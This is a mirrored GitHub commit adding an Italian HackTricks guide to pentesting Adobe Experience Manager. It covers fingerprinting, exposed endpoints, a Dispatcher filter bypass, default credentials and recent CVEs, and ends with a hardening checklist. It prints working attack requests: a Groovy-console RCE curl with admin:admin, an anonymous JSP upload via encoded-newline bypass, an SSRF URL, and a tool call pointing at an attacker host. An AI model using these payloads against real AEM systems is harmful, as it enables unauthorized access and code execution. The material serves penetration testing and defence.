mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
e3c1ab8bd6
commit
e5ad048311
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Trova vulnerabilità e configurazioni errate con [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, parte di Adobe Experience Cloud) è un CMS aziendale che funziona su Apache Sling/Felix (OSGi) e un Java Content Repository (JCR).
|
||||
> Dal punto di vista di un attaccante, le istanze AEM espongono molto spesso endpoint di sviluppo pericolosi, regole del Dispatcher deboli, credenziali predefinite e un lungo elenco di CVE che vengono corretti ogni trimestre.
|
||||
|
||||
La checklist qui sotto si concentra sulla **superficie di attacco (unauth) raggiungibile esternamente** che continua a presentarsi in impegni reali (2022-2025).
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Altri indicatori rapidi:
|
||||
* `/etc.clientlibs/` percorso statico presente (restituisce JS/CSS).
|
||||
* `/libs/granite/core/content/login.html` pagina di accesso con il banner “Adobe Experience Manager”.
|
||||
* `</script><!--/* CQ */-->` commento in fondo all'HTML.
|
||||
|
||||
---
|
||||
|
||||
## 2. Endpoint non autenticati ad alto valore
|
||||
|
||||
Percorso | Cosa ottieni | Note
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | Nodi JCR tramite **DefaultGetServlet** | Spesso bloccato, ma *Dispatcher bypass* (vedi sotto) funziona.
|
||||
`/bin/querybuilder.json?path=/` | API QueryBuilder | Leak dell'albero delle pagine, percorsi interni, nomi utente.
|
||||
`/system/console/status-*`, `/system/console/bundles` | Console OSGi/Felix | 403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE tramite upload di bundle.
|
||||
`/crx/packmgr/index.jsp` | Package Manager | Consente pacchetti di contenuto autenticati → upload di payload JSP.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Console | Se esposto → esecuzione arbitraria di Groovy / Java.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Log di audit | Divulgazione di informazioni.
|
||||
`/libs/cq/ui/content/dumplibs.html` | Dump ClientLibs | Vettore XSS.
|
||||
|
||||
### Trucco di bypass del Dispatcher
|
||||
La maggior parte dei siti di produzione si trova dietro il *Dispatcher* (reverse-proxy). Le sue regole di filtro possono essere bypassate aggiungendo un'estensione statica consentita **dopo un punto e virgola o una nuova riga codificata**:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Una singola richiesta come sopra rivela frequentemente nodi di profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Configurazioni errate comuni (ancora attive nel 2025)
|
||||
|
||||
1. **Servlet POST anonimo** – `POST /.json` con `:operation=import` consente di piantare nuovi nodi JCR. Bloccare `*.json` POST nel Dispatcher risolve il problema. 【】
|
||||
2. **Profili utente leggibili da tutti** – ACL predefinito concede `jcr:read` su `/home/users/**/profile/*` a chiunque.
|
||||
3. **Credenziali predefinite** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** abilitato ⇒ XSS riflesso tramite `?debug=layout` (CVE-2016-7882, ancora trovato su installazioni legacy 6.4).
|
||||
5. **Groovy Console esposta** – esecuzione di codice remoto inviando uno script Groovy:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Vulnerabilità recenti (cadenza dei pacchetti di servizio)
|
||||
|
||||
Trimestre | CVE | Affetti | Impatto
|
||||
------- | --- | -------- | ------
|
||||
Dic 2024 | **CVE-2024-43711** | 6.5.21 e precedenti | Validazione dell'input non corretta → **Esecuzione di codice arbitrario** (richiede autenticazione a bassa privilegio). 【】
|
||||
Dic 2024 | CVE-2024-43724/26 | 6.5.21 e precedenti | DOM / XSS memorizzato in Move Page Wizard. 【】
|
||||
Dic 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS basato su DOM tramite URL creato. 【】
|
||||
Dic 2022 | CVE-2022-30683 | ≤ 6.5.13 | Difetto di design crittografico → decrittazione segreta (richiede credenziali a bassa privilegio). 【】
|
||||
|
||||
Controlla sempre il bollettino *APSB* corrispondente al pacchetto di servizio del cliente e richiedi l'ultima **6.5.22** o *Cloud Service 2024.11*.
|
||||
|
||||
---
|
||||
|
||||
## 5. Frammenti di sfruttamento
|
||||
|
||||
### 5.1 RCE tramite bypass del dispatcher + caricamento JSP
|
||||
Se la scrittura anonima è possibile:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Ora richiedi `/content/evil.jsp` – il JSP viene eseguito con l'utente del processo AEM.
|
||||
|
||||
### 5.2 SSRF a RCE (storico < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
`aem_ssrf2rce.py` di **aem-hacker** automatizza l'intera catena. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Strumenti
|
||||
|
||||
* **aem-hacker** – script di enumerazione tipo coltellino svizzero, supporta bypass del dispatcher, rilevamento SSRF, controlli delle credenziali predefinite e altro.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Content Brute-force** – richiedi ricorsivamente `/_jcr_content.(json|html)` per scoprire componenti nascosti.
|
||||
* **osgi-infect** – carica un bundle OSGi malevolo tramite `/system/console/bundles` se le credenziali sono disponibili.
|
||||
|
||||
---
|
||||
|
||||
## 7. Checklist di indurimento (per le raccomandazioni del tuo rapporto)
|
||||
|
||||
1. Mantieni l'istanza sulla **versione cumulativa di servizio più recente** (a partire da luglio 2025: 6.5.22).
|
||||
2. Rimuovi ruota le credenziali predefinite; applica SSO/SAML.
|
||||
3. Rendi più rigorosi i **filtri del Dispatcher** – nega `;`, nuove righe codificate e `*.json` o `*.querybuilder.json` per utenti anonimi.
|
||||
4. Disabilita o proteggi le console (`/system/console`, `/crx/*`, `/etc/groovyconsole`) con liste di autorizzazione IP.
|
||||
5. Applica il pacchetto *Anonymous Permission Hardening* fornito da Adobe.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (Dic 2024)”.
|
||||
* 0ang3el – strumento aem-hacker (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user